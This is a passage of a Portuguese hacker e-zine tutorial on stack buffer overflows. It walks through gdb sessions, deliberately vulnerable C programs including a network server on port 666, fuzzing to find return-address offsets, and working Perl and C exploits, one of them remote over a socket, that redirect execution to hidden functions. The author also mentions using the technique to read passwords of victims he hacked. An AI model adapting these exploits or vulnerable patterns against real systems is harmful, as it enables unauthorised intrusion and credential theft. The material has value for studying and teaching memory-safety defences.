| SFP (ebp) | <--- Apontador de base
+----------------+
| RETURN ADDRESS | <--- Endereco de retorno de main.
+----------------+
| int argc | <----+
+----------------+ /---> Argumentos de main();
| char *argv[] | <---+
+----------------+


=================================
+ Obtendo o endereco de retorno +
=================================


Nesta primeiro parte demonstrarei apenas uma das formas de obter o endereco
de retorno, no proximo paper falarei mais sobre metodos de conseguir o RET
de alguma funcao. Primeiramente farei uma pequena aplicacao:


-- get_ret.c --

#include <stdio.h>
#include <stdlib.h>

void func (){

printf ("Esta funcao nao faz nada");

}

main (){

func (); // <-- call 0x401290 <func>
exit (0); // <-- Retorno no stack frame

}

-- cut --


Vamos obter o endereco de retorno apos a chamada da funcao func()


C:\>gdb get_ret.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012a4 <main>: push %ebp
0x4012a5 <main+1>: mov %esp,%ebp

(...)

0x4012ce <main+42>: call 0x401290 <func>
0x4012d3 <main+47>: movl $0x0,(%esp,1) <-- No stack frame (0x4012d3)
0x4012da <main+54>: call 0x401810 <exit>
End of assembler dump.


Vamos ver o stack frame no qual este RET sera inserido:


(gdb) disass func
Dump of assembler code for function func:
0x401290 <func>: push %ebp
0x401291 <func+1>: mov %esp,%ebp
0x401293 <func+3>: sub $0x8,%esp
0x401296 <func+6>: movl $0x403000,(%esp,1)
0x40129d <func+13>: call 0x401820 <printf>
0x4012a2 <func+18>: leave
0x4012a3 <func+19>: ret
End of assembler dump.


Antes deste stack frame ser destruido marcaremos um breakpoint na ultima
instrucao, ou seja, a instrucao que comeca a destruicao do stack frame,
que e a 'leave', que esta localizada em <func+18>.


(gdb) break *func+18
Breakpoint 1 at 0x4012a2: file C:/get_ret.c, line 8.


Iniciaremos o programa:


(gdb) r
Starting program: C:\get_ret.exe

Breakpoint 1, func () at C:/get_ret.c:8
8 }


Pegaremos agora o endereco de ebp e o do RET:


(gdb) x/x $ebp
0x22ff58: 0x0022ff78 <--- Base do stack frame


Acima esta o endereco do FBP do stack frame. Utilizei o parametro 'x' do 'x/'
seguido do registrador no qual desejo ver o valor em hexadecimal.


(gdb) x/x $ebp+4
0x22ff5c: 0x004012d3 <--- Endereco de retorno.


Essa sintaxe diz que desejo ver em hexadecimal 4 bytes depois do SFP.

(...)
+------------+
| Dummy |
+------------+
| 0x0022ff78 | <-- FBP
+------------+
| 0x004012d3 | <-- RET
+------------+


Observe:

0x4012ce <main+42>: call 0x401290 <func>
0x4012d3 <main+47>: movl $0x0,(%esp,1)

^
|
+----- > Veja que e este endereco que esta na area RET do stack frame de func.


Lembrando que voce tambem fara bom proveito deste paper se utilizar os
exemplos aqui descritos, nos *nixes/linuxes ;)



----- Capitulo 0x0A


[=] + =========================================== + [=]
---=[ Como acontece o stack overflow ]=---
[=] + =========================================== + [=]


Acredito que isso seja de conhecimento de quase todos os leitores deste texto, que
apesar de saberem como acontece, nao sabem como explorar. O Overflow acontece quando
inserimos mais dado que um buffer pode suportar, ou seja, vamos supor que um buffer
suporte 16 bytes, se inserirmos 17 bytes esse ultimo byte vai "sobrescrever" o stack
frame e vai alcancar o dummy. Se por um acaso nos inserirmos 16 + 8 + 1 esse ultimo
byte inserido por nos alcancara o FBP (ebp) que por sinal e composto por 4 bytes, ou
seja, esses dados "ultrapassam" o espaco reservado para o buffer no 'stack frame',
alcancam o 'dummy' que nesse caso e de 8 bytes e chegam no FBP. Acredito que esteja
ficando mais claro para voce a cada minuto, amigo ;) Entao, pense comigo: Se o en-
dereco de retorno armazena o endero da proxima instrucao depois da chamada a uma
funcao, e ja que podemos sobrescrever o stack frame, entao podemos inferir que po-
demos inserir dados ate alcancarmos o endereco de retorno, e os dados que nos inse-
rimos que serao executados, certo? Exato. Veja esse exemplo:


-- I didn't see.c --

main (){

char buffer2[21]="I didn't see nothing", buffer1[8];
strcpy (buffer1, "David_Destroyer");
puts (buffer2);
}

-- cut --


Os dados sao empilhados da direita para esquerda nesse caso. Entao o buffer 1
sera empilhado, depois o buffer2. Repare que o buffer1 e capaz de suportar 8
caracteres, mas a um problema neste programa, perceba que estou copiando uma
string de 15 bytes (David_Destroyer) para um buffer que suporta 8. O que vai
acontecer e o overflow, ou seja, os dados que nos inserimos sobre o primeiro
buffer vao sobrescrever o segundo.


123456789ABCDEF <--------[] 15 bytes
David_Destroyer
|
+-----------> A partir daqui os dados estarao no buffer2


Veja que logo em seguida a copia dos dados, e imprimido o valor do buffer2.


C:\Documents and Settings\David>"I didn't see.exe"
stroyer


Repare que os dados impressos nao sao os dados que inicializei no 'buffer2'
(I didn't see nothing), mas sim o resto dos dados que nao foram suportados
pelo buffer1. Se inserirmos apenas 7 bytes no buffer1, ou menos, o conteudo
do segundo buffer sera impresso normalmente.

-- nothing.c --

// nothing\0 <-- 7 bytes + NULL byte

main (){

char buffer2[21]="I didn't see nothing", buffer1[8];
strcpy (buffer1, "nothing");
fprintf (stdout, "%s", buffer2);
}

-- cut --


C:\Documents and Settings\David>"I didn't see.exe"
I didn't see nothing


E se o buffer destino ao invez de 8, que e multiplo de 4, fosse 7, nao conse-
guiriamos fazer o programa mostrar os dados nao suportados porque os dados na
pilha crescem de 4 em 4 bytes ;) Veja um melhor exemplo dessa informacao que
nos sera muito util em meu proximo paper ("futuro proximo"):


-- winki.c --

main (){

char buffer2[21]="I didn't see nothing", buffer1[7];
strcpy (buffer1, "David_Destroyer");
puts (buffer2);
}

-- cut --


Veja que o primeiro buffer e composto por 7 bytes, mas os dados que nos esta-
mos inserindo e multiplo de quatro bytes.

C:\Documents and Settings\David>wink.exe
I didn't see nothing

Esse "detalhe" ficara para meu proximo texto, no qual demonstrarei mais exemplos
de exploracao pela heap do que o primeiro texto que escrevi[2]. E muito importante
que voces saibam que a criacao de um dummy e de um alinhamento (criados pelos gcc)
no stack frame vai depender do tamanho do buffer das variaveis locais utilizadas
no codigo do programa. Bem, primeiramente veremos exemplos de overflow para logo
em seguida eu poder entrar em detalhes com relacao a isso.


-- programa1.c --

/*
*
* There's a bug in this code
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int overflow (char *string){

char buffer[4];
strcpy (buffer, string);
puts (buffer);

}

int main (int argc, char *argv[]){

if (argc != 2) exit (-1);

overflow (argv[1]);

return (0);
}


-- cut --


O que esse programa faz (como voce pode ver) e copiar o o primeiro parametro de li-
nha de comando e fazer uma chamada a funcao overflow, no qual recebera esse parame-
tro e armazenara o mesmo na variavel de lista de parametro "string" que por sua vez
tera seu conteudo copiado para a variavel buffer, agora veja onde ocorrer a falha:


char buffer[4];
strcpy (buffer, string);


Repare que o buffer pode suportar 4 bytes, ou seja, e reservado para essa variavel
'4' bytes no stack frame da funcao overflow (no qual os parametros passados a ela
serao alocados), abaixo vera que e copiado o conteudo da variavel string (no qual
armazena os parametros digitados por nos, na linha de comando) para esta variavel,
mas a funcao strcpy() nao faz checagem alguma dos dados que serao alocados na me-
moria (stack frame). O gcc reserva espaco para 4 bytes na area 'buffer' do stack
frame, ou seja, se inserirmos mais de 4 bytes esses bytes adicionais vao sobres-
crevendo os ponteiros no stack frame e se por acaso chegarem ao retorno, o sis-
tema vai ter que retornar o que esta na area RET ADDR no stack frame, ou seja, ele
vai jogar para eip o endereco armazenado na area RETURN ADDR, e assim executando
aquela instrucao (Como eu ja falei). Vejam sobre como injetar um endereco executa-
vel/valido na area 'RETURN ADDRESS' nos proximos capitulos. "Primeiramente" vamos
ver como identificar o overflow e fazer alguns mapas da memoria para cada funcao
que aqui sera debugada.


Execucao do programa1..:


C:\Documents and Settings\David>programa1.exe AA
AA

C:\Documents and Settings\David>programa1.exe AAA
AAA

C:\Documents and Settings\David>programa1.exe AAAAAAAAAAAAA
AAAAAAAAAAAAA

C:\Documents and Settings\David>


E atraves desta mensagem que podemos saber se o programa e vulneravel
a overflow no windows (Segmentation fault):

------------------------------------------------------------
|O programa1.exe encontrou um problema e precisa ser fechado.|
------------------------------------------------------------

Essa mensagem pode representar o overflow, como tambem nao pode. Se voce esta
inserindo muito dados em buffers de alguns programas e voce cair nesta mensagem,
a uma grande chance de voce ter descoberto um bug/falha de stack overflow nesse
programa. Repare que primeiramente insiro duas letras 'A' na execucao do progra-
ma, ate ai tudo bem, o programa terminou normalmente, depois inseri 3 A's, tam-
bem nao houve problema algum, pois o buffer suporta 4 bytes (3 + '\0'). Observe
que na ultima execucao inseri:

AAAAAAAAAAAAA
0123456789ABC
|
+---> O buffer suporta dados ate aqui.

13 bytes no buffer, e nos foi apresentada a mensagem anterior, ou seja, acaba-
mos de descobrir um bug! Veremos agora como explora-lo. Vamos ver os bytes do
stack frame da funcao overflow e desenha-lo.


C:\Documents and Settings\David>gdb programa1.exe -q
(gdb) disass main
Dump of assembler code for function main:
0x4012b5 <main>: push %ebp
0x4012b6 <main+1>: mov %esp,%ebp
0x4012b8 <main+3>: sub $0x8,%esp
0x4012bb <main+6>: and $0xfffffff0,%esp
0x4012be <main+9>: mov $0x0,%eax
0x4012c3 <main+14>: add $0xf,%eax
0x4012c6 <main+17>: add $0xf,%eax
0x4012c9 <main+20>: shr $0x4,%eax
0x4012cc <main+23>: shl $0x4,%eax
0x4012cf <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012d2 <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012d5 <main+32>: call 0x401750 <_alloca>
0x4012da <main+37>: call 0x4013f0 <__main>
0x4012df <main+42>: cmpl $0x2,0x8(%ebp)
0x4012e3 <main+46>: je 0x4012f1 <main+60>
0x4012e5 <main+48>: movl $0xffffffff,(%esp,1)
0x4012ec <main+55>: call 0x401840 <exit>
0x4012f1 <main+60>: mov 0xc(%ebp),%eax
0x4012f4 <main+63>: add $0x4,%eax
0x4012f7 <main+66>: mov (%eax),%eax
0x4012f9 <main+68>: mov %eax,(%esp,1)
0x4012fc <main+71>: call 0x401290 <overflow> <----- Achamos a chamada
---Type <return> to continue, or q <return> to quit---
0x401301 <main+76>: mov $0x0,%eax
0x401306 <main+81>: leave
0x401307 <main+82>: ret
End of assembler dump.
(gdb)


E nessa instrucao que a funcao overflow e chamada:

0x4012fc <main+71>: call 0x401290 <overflow>


Disassemblaremos a mesma:


(gdb) disass 0x401290
Dump of assembler code for function overflow:
0x401290 <overflow>: push %ebp
0x401291 <overflow+1>: mov %esp,%ebp
0x401293 <overflow+3>: sub $0x18,%esp
0x401296 <overflow+6>: mov 0x8(%ebp),%eax
0x401299 <overflow+9>: mov %eax,0x4(%esp,1)
0x40129d <overflow+13>: lea 0xfffffffc(%ebp),%eax
0x4012a0 <overflow+16>: mov %eax,(%esp,1)
0x4012a3 <overflow+19>: call 0x401860 <strcpy>
0x4012a8 <overflow+24>: lea 0xfffffffc(%ebp),%eax
0x4012ab <overflow+27>: mov %eax,(%esp,1)
0x4012ae <overflow+30>: call 0x401850 <puts>
0x4012b3 <overflow+35>: leave
0x4012b4 <overflow+36>: ret
End of assembler dump.


Agora vamos usar uma tecnica chamada de "fuzzing" para saber quantos bytes
precisaremos para alcancar o endereco de retorno. Essa tecnica foi muito
evoluida, mas aqui nao vamos entrar em detalhes, falarei apenas do basico,
que consiste em injetar em buffers, grandes quantidades de bytes e esperar
alguma mensagem de erro. Macete bem "espartano" eim? Vamos entao "fuzzar"
este programa dentro do gdb:


(gdb) r AAA
Starting program: C:\Documents and Settings\David/programa1.exe AAA

Program exited normally.


Nem um problema, vejam que o proprio gdb nos mostra que o programa saiu
normalmente. Agora vamos transbordar (overflow) nosso buffer e atraves
dele encostaremos no endereco de retorno do stack frame "Overflow".


(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: C:\Documents and Settings\David/programa1.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


OK, por incrivel que pareca essa mensagem de erro e boa para nos };P Segmentation fault
e a mensagem que nos e exibida nos linuxes quando o stack frame retorna para uma area de
memoria invalida; Nao se esqueca que estamos em uma ferramenta nativa do linux, por isso
tambem temos essa mensagem. Vejam que interessante, A em ASCII equivale ao 41 em hexade-
cimal, veja


main (){

printf ("%x\n", 'A');
system ("pause");

}


Resultado:

41 <--- 0x41

Pressione qualquer tecla para continuar. . .


(gdb) i r
eax 0x22ff60 2293600
ecx 0x3d3d60 4013408
edx 0xababab00 -1414812928
ebx 0x4000 16384
esp 0x22ff80 0x22ff80
ebp 0x41414141 0x41414141 <-- ebp sobrescrito
esi 0xdca4f0 14460144
edi 0xd7ea70 14150256
eip 0x41414141 0x41414141 <-- Proxima instrucao.
eflags 0x10246 66118
cs 0x1b 27

(...)


Lembrando que o processador "sempre" trabalha no nivel hexadecimal.


O nosso objetivo agora e saber em quantos bytes podemos alcancar o endereco
de retorno. Para isso utilizaremos uma tecnica chamada Binary Tree Analysis
ou BTA, que consiste na insercao de um buffer com dados variados, exemplo,
inserimos x numeros de A's, depois x numero de B's e x numeros de C's, se o
debuger utilizado nos retornar que a base do stack frame foi sobrescrita
por 0x42 que representa o B, entao "obviamente" que o 'ebp' esta entre os x
B's inseridos, e assim por diante.


(gdb) r AAAADDDDRRRR
Starting program: C:\Documents and Settings\David/programa1.exe AAAADDDDRRRR

Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()


Buffer = A
Base pointer = D
Return addres = R

Alcancamos o endereco de retorno!! Como eu sei? Veja:

0x52525252 in ?? () <-- Observe que 52 em hexadecimal corresponde a R

O que aconteceu foi isso:


+--------------+
| buffer[1] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[2] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[3] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[4] | = A ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = DDDD ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+


Veja que o endereco de retorno vai retornar o 0x52, que nao e um endereco
valido, alocado na memoria, por isso o signal SIGSEGV e retornado. Vamos
causar o overflow no stack frame de main:


-- main_overflow.c --

main (int argc, char *argv[]){

if (argc != 2) exit (0);

char frame[16];
strcpy (frame, argv[1]); // <- Copia o que nos digitarmos para a \
variavel frame (sem controle).

}

-- cut --



C:\Documents and Settings\David\Meus documentos>gdb main_overflow.exe -q
(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR
Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRR

Program received signal SIGSEGV, Segmentation fault.
0x00525252 in ?? ()


Repare acima que esta faltando 1 unico byte para completar os 4 que compoem o endereco
de retorno. Entao apenas precisariamos inserir mais um 'R'


(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: C:\Documents and Settings\David\Meus documentos/main_overflow.exe AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR

Program received signal SIGSEGV, Segmentation fault.
0x52525252 in ?? ()

Agora o RET esta totalmente sobrescrito. Entao e necessario os seguintes bytes
para alcancarmos o endereco de retorno:


Buffer = AAAAAAAAAAAAAAAA (16 bytes)
Dummy = DDDDDDDD (8 bytes)
FBP = FFFF (4 bytes)
RET = RRRR (4 bytes)


+--------------+
| buffer[0] | = A ||
+--------------+ ||
+--------------+ ||
| buffer... | = A ||
+--------------+ ||
+--------------+ ||
| buffer[16] | = A ||
+--------------+ ||
+--------------+ ||
| Dummy (8) | = DDDDDDDD ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = FFFF ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+

^
|
|
+---> O stack frame retornara para RRRR (SIGSEGV)




----- Capitulo 0x0B


[=] + =========================================== + [=]
---=[ Seu primeiro exploit (local) ]=---
[=] + =========================================== + [=]


Bem, para esse primeiro exemplo de "exploracao" de stack overflow, nao mostrarei a
utilizacao de shellcode, por hora voce apenas sabera como controlar o endereco de
retorno para o mesmo retornar a algum lugar na memoria. Bem, a tecnica de explora-
cao local pode ter varias utilidades, eu costumava esconder uma funcao no qual
me mostrava minhas senhas e das vitimas que hackiava, em alguns programas, eram
centenas de senhas e ainda nao havia memorizado todas, quando queria visualiza-las
explorava localmente a aplicacao cobaia e fazia o RETURN retornar a minha funcao
oculta, e assim fazendo com que o programa apresentasse-me as senhas.


Exemplo:


-- show_passwords.c --

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void function_vuln ();

void show_pass (){

char *password[] = {

"Email: test@testing.com \n",
"Pass : this_is_a_test"
};

int i=0;

while (i != 2){
fputs (password[i], stdout);
++i;}

exit (0);
}


int main (int argc, char *argv[]){

// It doesn't drink much water ... :)

puts ("Do you can give me some water? yes/no");

if (argc != 2) exit (0);

function_vuln (argv[1]);

return 0;
}

void function_vuln (char *string) {


char buffer[16];
strcpy (buffer, string); // <- A falha esta aqui.

if (!strncmp (buffer, "yes", strlen ("yes")) ){
system ("cls");
fprintf (stdout, "%s", "Thank'x man\n");
}

else
puts ("\n\nWell, well, well -> FuCk\n");


}

-- cut --


Passo 1..:


C:\Documents and Settings\David>show_passwords.exe
Do you can give me some water? yes/no

C:\Documents and Settings\David>show_passwords.exe yes


Resultado..:

Thank'x man

C:\Documents and Settings\David\Desktop>


Este programa pergunta se o usuario quer dar agua a ele (lol), se o usuario
digitar sim, ele diz "obrigado", caso contrario o usuario recebe uma mensa-
gem de erro. Veja que em nenhum momento e feito qualquer chamada a funcao
show_pass (). Vejamos onde esta a falha:

strcpy (buffer, argv[1]);

Como ja falei, strcpy() nao faz checagem alguma dos dados que serao copiados
para o buffer de destino. E atraves desta falha que vamos explorar esse pro-
grama e fazer o endereco de retorno retornar para o local na memoria que
queremos. Antes de explorarmos a aplicacao acima, escreverei outra aplicacao
bugada para mostrar a exploracao de programas que recebem o parametro
argument count e argument values.


-- exploit-me_v1.0.c --


void show_pass (){

char *password[] = {
"Email: test@testing.com \n",
"Pass : this_is_a_test"
};

}

main (int argc, char **argv){

char buffer[16]; // <-- Portal da felicidade
strcpy (buffer, argv[1]); // <-- Nosso bombom

}

-- cut --


C:\>gdb exploit-me_v1.0.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>: push %ebp
0x401291 <show_pass+1>: mov %esp,%ebp
0x401293 <show_pass+3>: sub $0x8,%esp
0x401296 <show_pass+6>: movl $0x403000,0xfffffff8(%ebp)
0x40129d <show_pass+13>: movl $0x40301a,0xfffffffc(%ebp)
0x4012a4 <show_pass+20>: leave
0x4012a5 <show_pass+21>: ret
End of assembler dump.
(gdb) q

C:\>


0x401290 <--- Retornaremos este endereco. Agora vamos fazer o
exploit em perl apenas para uma melhor aprendizagem.


-- first_exploit.pl --

####################################################
### O primeiro exploit voces nunca vao esquecer ;) #
####################################################

# Caminho do .executavel bugado

my $PATH ="c:\\exploit-me_v1.0.exe ";

# Dados para sobrescrever o stack frame da funcao main

my $Buffer = "A" x 16; # Buffer
my $Dummy = "D" x 8; # Dummy
my $FBP = "B" x 4; # Frame Base Pointer

#Endereco de retorno (De tras para frente - LIFO)
#Endereco de show_pass ();

my $RET = "\x90\x12\x40\x00";

#Anexamos a variavel '$exploit' as outras variaveis

my $exploit =$Buffer.$Dummy.$FBP.$RET;
#AAA... DDD... BBB... "\x90\x12\x40\x00";


print ("\nSending exploit, please wait...\n\n");

print $exploit;

system ($PATH, $exploit); # <-- Chama o programa e usa o argumento
# $exploit <-- Onde estao os dados.
-- cut --


Sei que voce (Brasileiro =) ficara empolgadissimo com isso:



C:\>first_exploit.pl

Sending exploit, please wait...

AAAAAAAAAAAAAAAADDDDDDDDBBBBÉ?@
Email: test@testing.com
Pass : this_is_a_test
C:\>


owned! huhuhu (sndMas rlz ;). OK. The program has been exploited. We
have total control of the return address.


================================
Exploitando o show password v1.0
================================


Primeiro passo...: Descobrindo o endereco que queremos retornar.


C:\Documents and Settings\David\Desktop>gdb show_passwords.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>: push %ebp
0x401291 <show_pass+1>: mov %esp,%ebp

(...)

O resto das instrucoes nao nos importam, o que queremos e o endereco inicial
desta funcao. Que eh: 0x'401290'. Como vimos anteriormente para a exploracao
de buffers de 16 bytes precisariamos de '16' bytes para lotar a area que foi
reservada para esse buffer no stack frame, os 8 bytes de dummy mais os 4 do
FBP (ebp). Entao podemos inferir que devemos inserir o endereco 0x401290 na
area RET do stack frame. Vamos fazer logo esse exploit em C:



-- exploit_for_SPv1.c --

/*
*
* Exploit for to exploit a flaw in the
* Show Passwords v0.1
*
* Bug discovered by 6_Bl4ck9_f0x6 :)
*
*/



#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET "\x90\x12\x40\x00"

main (){

printf ("Sending exploit, please wait...\r\n\r\n");

// A funcao WinExec executa um programa e passa parametros ao mesmo.

WinExec ("\\show_passwords.exe yesAAAAAAAAAAAAADDDDDDDDBBBB\x90\x12\x40\x00", 0);
exit (0);

}

-- cut here --


C:\>exploit_for_SPv1.exe

Resultado..:


Thank'x man
Email: test@testing.com
Pass : this_is_a_test
C:\>


Simples, nao? Existe a classe dos que ensinam e a classe dos que gostam
de aparecer (White Corja Poser Brasileira).



----- Capitulo 0x0C


[=] + =========================================== + [=]
---=[ Exploracao remota ]=---
[=] + =========================================== + [=]


Escrevi um pequeno servidor vulneravel a stack overflow, obviamente que
isso foi intencional ehehhe...:)


-- fox_server.c --

/*
*
* Aprendam uma coisa de uma vez por todas:
* A rede globo eh a maior ;)
*
* <- Tava devendo essa ->
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>

#define BACKLOG 5
#define PORT 666

WSADATA data;
struct sockaddr_in local_bind, server;

int SoCk, SoCkII;
int login_ ();
char username[400];

int secret_function (){

char *message="\n\n Hi 6_Bl4ck9_f0x6 \n\n";
fprintf (stdout, message, strlen (message));
}


int main (){

memset (username, 0x00, 0x08);

WSAStartup (MAKEWORD (2,2),&data);

SoCk = socket (PF_INET, SOCK_STREAM, 0);

local_bind.sin_family=AF_INET;
local_bind.sin_port=htons (PORT);
local_bind.sin_addr.s_addr = htonl (INADDR_ANY);
memset (&local_bind.sin_zero, 0x00, 0x08);

bind (SoCk, (struct sockaddr *)&local_bind, 0x10);

unsigned int len=sizeof (SOCKADDR_IN);

listen (SoCk, BACKLOG);
fprintf (stdout, "Listening in the %d port...", \
ntohs (local_bind.sin_port));

SoCkII = accept (SoCk, (struct sockaddr *)&server, &len);
closesocket (SoCk);

u_char *msgs=" \n\n --=[ Welcome to the Black Machine ]=--\n";
u_char *login="\nLogin: \n";

send (SoCkII, msgs, strlen (msgs), 0x00);
send (SoCkII, login, strlen (login), 0x00);

recv (SoCkII, username, 400, 0x00);

login_ ();
}

login_ (){

printf ("%d", strlen (username));
char buffer[200];
strcpy (buffer, username);

if (!strncmp (buffer, "6_Bl4ck9_f0x6", 13)){
send (SoCkII, "\n\nBem vindo fox\n", strlen ("\n\nBem vindo fox\n"), 0x00);
return 0;}

else{
send (SoCkII, "\nLogin invalido...", strlen ("\nLogin invalido..."), 0x00);
Sleep (3000);
send (SoCkII, "\nEstou te rastreando... Buu\n\n", \
strlen ("\nEstou te rastreando... Buu"), 0x00);
WSACleanup();
closesocket (SoCk);
}

}

-- cut --


Nao me preocupei muito com organizacao, portanto nao me mandem emails falando
que o server nao ta bonitinho rsrs. Ah! Os testes abaixo foram feitos com o
seguintes buffers:


char username[400]; & char buffer[200];


C:\Documents and Settings\David\Desktop>fox_server.exe
Listening in the 666 port...


Utilizarei o netcat como cliente


C:\Documents and Settings\David>nc 127.0.0.1 666


--=[ Welcome to the Black Machine ]=--

Login:


Ele espera eu digitar um login. O login que nao precisa de senha e meu
nick: 6_Bl4ck9_f0x6 . Se voce digitar outro acontece isso:


-- cut --

C:\Documents and Settings\David>nc 127.0.0.1 666


--=[ Welcome to the Black Machine ]=--

Login:
Obtruder

Login invalido...
Estou te rastreando... Buu

-- cut --


Foi so um charminho, relaxa }=) Entao, o overflow ocorre na autenticacao
do usuario. Vejam so:


char buffer[60];
strcpy (buffer, username);


Se o nome de usuario conter mais de 60 bytes ocorre o overflow no stack frame
da funcao login_() . Execucao correta do server:


-- cut --

--=[ Welcome to the Black Machine ]=--

Login:
6_Bl4ck9_f0x6


Bem vindo fox

-- cut --


Vamos rodar o servidor dentro do debug.


C:\Documents and Settings\David\Desktop>gdb fox_server.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) q
The program is running. Exit anyway? (y or n) y

C:\Documents and Settings\David\Desktop>


Veja melhor:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Veja porque isso aconteceu:


--=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Login invalido...
Estou te rastreando... Buu


Vamos achar o endereco de retorno usando Binary Tree Analysis



--=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCDDDDDDDDDDDDDD

Login invalido...
Estou te rastreando... Buu


Veja abaixo que o RET esta entre os C's digitados:


Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)


Vamos inserir entre os 4 C's, alguns A's



--=[ Welcome to the Black Machine ]=--

Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAAADDDDDDRRRR

Login invalido...
Estou te rastreando... Buu
C:\Documents and Settings\David>


Starting program: C:\Documents and Settings\David\Desktop/fox_server.exe

Program received signal SIGSEGV, Segmentation fault.
0x41414143 in ?? ()


Yeah! Yeah! Yeah! Veja acima que o RET comeca a ser sobrescrito deste ponto:

AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAA [ ADDDDDDRRRR ]
|
+-- > Here!

Entao ja sabemos quantos bytes serao necessarios para alcancarmos o endereco
de retorno.


Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCRRRRADDDDDDRRRR
|__|
|
+-- > RETURN ADDRESS


-- fox_server_exploit.c --

/*
*
* Simples exploit para fazer o programa vulneravel
* retornar a um endereco de memoria.
*
* Coded by 6_Bl4ck9_f0x6
*
*/



#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>

#define NOP 0x90

WSADATA data;
SOCKADDR_IN server;
int len=sizeof (server);

main (){

WSAStartup (MAKEWORD (2,2),&data);

int SoCk = socket (AF_INET, SOCK_STREAM, IPPROTO_IP);

server.sin_family = AF_INET;
server.sin_port = htons (666);
server.sin_addr.s_addr = inet_addr ("192.168.1.1");
memset (&server.sin_zero, 0x00, 0x08);

u_char payload[224], ret[]="\x90\x12\x40";

if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) ==
SOCKET_ERROR){
fprintf (stdout, "\n[Porta fechada]\n");
return (0);}

memset (payload, NOP, sizeof (payload));
memcpy (payload +220, ret, 0x04);

printf ("Sending exploit...\n");

send (SoCk, payload, 224, 0);

closesocket (SoCk);
system ("pause");

}

-- cut --

fiz o BTA e descobri que para alcancar o endereco de retorno preciso
de 224 bytes, ou seja, 220 para enchermos o buffer vulneravel na app
bugada, mais o endereco de retorno.

ret[]="\x90\x12\x40";

Acima e o endereco da funcao que esta oculta no programa vulneravel.

1 - memset (payload, NOP, sizeof (payload));
2 - memcpy (payload +220, ret, 0x04);

1 -- > Encho a variavel payload de NOP's.
2 -- > Logo depois copio para o final dela
o endereco de retorno.

E envio 224 bytes atraves do socket.

Primeiro o exploit estabelece uma conexao na maquina na vitima:

-- cut --

if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) ==
SOCKET_ERROR){
fprintf (stdout, "\n[Porta fechada]\n");
return (0);}

-- cut --


Depois envio o payload que vai explorar o programa:

-- cut --

send (SoCk, payload, 224, 0);

-- cut --

Sending exploit...
Pressione qualquer tecla para continuar. . .

E o resultado eh este:

C:\Documents and Settings\David\Meus documentos>fox_server.exe
Listening in the 666 port...223

Hi 6_Bl4ck9_f0x6


=========================================================
+ http://www.hunterhacker.xpg.com.br/exploited.JPG +
=========================================================


----- Capitulo 0x0E


[=] + =========================================== + [=]
---=[ Consideracoes finais ]=---
[=] + =========================================== + [=]


Um critico natural, amante da beleza feminina, amante das coisas boas da vida,
alguem que pretende ter familia, ter alguem pra quem deixar o que aprendeu.
Alguem que as unicas coisas que quer e privacidade e felicidade, alguem que nao
entende porque as pessoas possuem muito poder, alguem que nao entende porque as
pessoas menores se deixam obedecer, alguem que espera...


"A verdadeira mascara e aquela que voce carrega dentro de si."
-- " "

----[ Useful links and references


=====================================================================
Course of C Part 4 - Final Version. Written for my e-zine (C.O.D.E).

[1] - http://www.blackhat-forums.com/index.php?showtopic=8574
=====================================================================
Exploiting Heap Overflow in the windows without mistery

[2] - http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt
=====================================================================
Stack/buffer overflow by blackwinner

